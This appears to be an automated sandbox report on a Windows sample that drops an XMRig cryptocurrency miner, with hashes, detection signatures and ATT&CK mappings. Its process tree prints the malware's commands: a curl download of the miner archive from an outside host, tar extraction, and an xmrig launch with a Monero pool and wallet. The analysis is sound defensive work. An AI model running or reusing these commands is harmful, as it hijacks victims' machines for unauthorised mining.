xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (7).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral11/files/0x000600000002323a-20.dat	family_xmrig
behavioral11/files/0x000600000002323a-20.dat	xmrig
behavioral11/memory/716-25-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-26-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-29-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-30-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-31-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-32-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-34-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig
behavioral11/memory/716-35-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	test - Copy (7).exe

Executes dropped EXE 1 IoCs

pid	Process
716	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	716	xmrig.exe
Token: SeLockMemoryPrivilege	716	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
716	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 3744	424	test - Copy (7).exe	85
PID 424 wrote to memory of 3744	424	test - Copy (7).exe	85
PID 3744 wrote to memory of 1060	3744	cmd.exe	87
PID 3744 wrote to memory of 1060	3744	cmd.exe	87
PID 3744 wrote to memory of 2788	3744	cmd.exe	88
PID 3744 wrote to memory of 2788	3744	cmd.exe	88
PID 3744 wrote to memory of 716	3744	cmd.exe	89
PID 3744 wrote to memory of 716	3744	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\test - Copy (7).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (7).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\t40CKXSH.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:1060
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:2788
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\t40CKXSH.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
1.4MB

MD5
f346802f34dbdc499a8f009d1b62d48d

SHA1
3c1305d30df4fc91f7fcf92aa174c397eee5bf5c

SHA256
53d984eddc175b873f44805a80db10f0f9f06d9d3f4b21da8bd3fae40f2b193d

SHA512
aba3d9fd6e586d64fcbc2f77d7703c18438b91c8540c489c9ec409364ae540b722a01beed26569cdcfb9ce699d20f5edd592293262944ceabb0310116ff658cf

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
6.8MB

MD5
ae930b74c0f4ed6b65029f85a1938f3f

SHA1
e8a34dca3c2e2e1f761849b8f1e8097cd66d4f07

SHA256
ac94e4498753a035e63976403ffd3d7809aa296dc09d028c878da439dbe5d0fd

SHA512
96211f92f7e592542a252727f6d2afd1881906569c6210ffb9ec5f869cf482c41a30cf3f98a607e6d1c75a2c169bac8fa4cfa3c784bd322877edb7aeda28091b

Download Submit
memory/424-0-0x0000000000C00000-0x0000000000C08000-memory.dmp

Filesize
32KB

Download
memory/424-4-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

Filesize
10.8MB

Download
memory/424-22-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

Filesize
10.8MB

Download
memory/716-28-0x00000249DE480000-0x00000249DE4A0000-memory.dmp

Filesize
128KB

Download
memory/716-30-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-25-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-26-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-23-0x00000249DCB30000-0x00000249DCB50000-memory.dmp

Filesize
128KB

Download
memory/716-27-0x00000249DE460000-0x00000249DE480000-memory.dmp

Filesize
128KB

Download
memory/716-29-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-24-0x00000249DCB80000-0x00000249DCBA0000-memory.dmp

Filesize
128KB

Download
memory/716-31-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-32-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-34-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-35-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-38-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download
memory/716-39-0x00007FF7645F0000-0x00007FF7650F4000-memory.dmp

Filesize
11.0MB

Download

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Analysis